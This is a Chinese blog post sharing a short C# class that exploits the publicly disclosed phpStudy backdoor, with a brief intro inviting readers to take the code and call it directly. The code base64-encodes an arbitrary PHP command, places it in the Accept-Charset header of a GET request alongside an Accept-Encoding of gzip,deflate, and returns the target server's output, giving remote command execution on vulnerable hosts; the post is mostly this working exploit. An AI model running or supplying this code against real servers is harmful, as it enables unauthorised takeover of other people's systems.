一个很简单的phpstudy后门c#利用代码

两个月前被公开的phpstudy后门,利用方式到处都是,今天用到了一下,贴一下代码。

直接拿去调用就可以了,差什么就导入什么,因为自己当时弄的是c#的wpf,所以乱写了一个类。

也可以直接弄成命令行版本的,注释也是有的。

System.IO;
using System.Linq;
using System.Net;
using System.Security.Policy;


namespace PhpStudyExp
{
    class httphelp
    {
        /// <summary>
        /// get请求方法
        /// </summary>
        /// <param name="URL">地址</param>
        /// <param name="CMD">php命令</param>
        /// <returns></returns>
        ///
        public string urlva,cmd;

        

        public static string getLwrokList(string URL, String CMD)
        {
            //把php命令转成base64
            byte[] cmdbyte = System.Text.Encoding.Default.GetBytes(CMD);
            CMD = Convert.ToBase64String(cmdbyte);

            try
            {
                HttpWebRequest request = (HttpWebRequest)WebRequest.Create(URL);
                request.Method = "GET";
                request.UserAgent = "Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:66.0) Gecko/20100101 Firefox/66.0";
                request.Headers["Accept-Language"] = "zh-CN,zh;q=0.8,en-US;q=0.5,en;q=0.3";
                request.Headers["Accept-Encoding"] = "gzip,deflate";
                request.Headers["accept-charset"] = CMD;
                request.Headers["Upgrade-Insecure-Requests"] = "1";
                request.Headers["Cache-Control"] = "max-age=0";
                request.KeepAlive = false;
                //request.Headers.Add("","")

                //接受返回来的数据
                HttpWebResponse httpWebResponse = (HttpWebResponse)request.GetResponse();
                StreamReader streamReader = new StreamReader(httpWebResponse.GetResponseStream(), Encoding.GetEncoding("GBK"));
                string responseContent = streamReader.ReadToEnd();

                httpWebResponse.Close();
                streamReader.Close();

                return responseContent;
            }
            catch (Exception ex)
            {
                Console.WriteLine(ex.Message);
                return ex.Message;
                throw;
            }

        }
    }
}

 

aimorc

我还没有学会写个人说明!

相关推荐

Leave a Reply

Your email address will not be published. Required fields are marked *

fourteen − eight =

微信扫一扫,分享到朋友圈

一个很简单的phpstudy后门c#利用代码
返回顶部

显示

忘记密码?

显示

显示

获取验证码

Close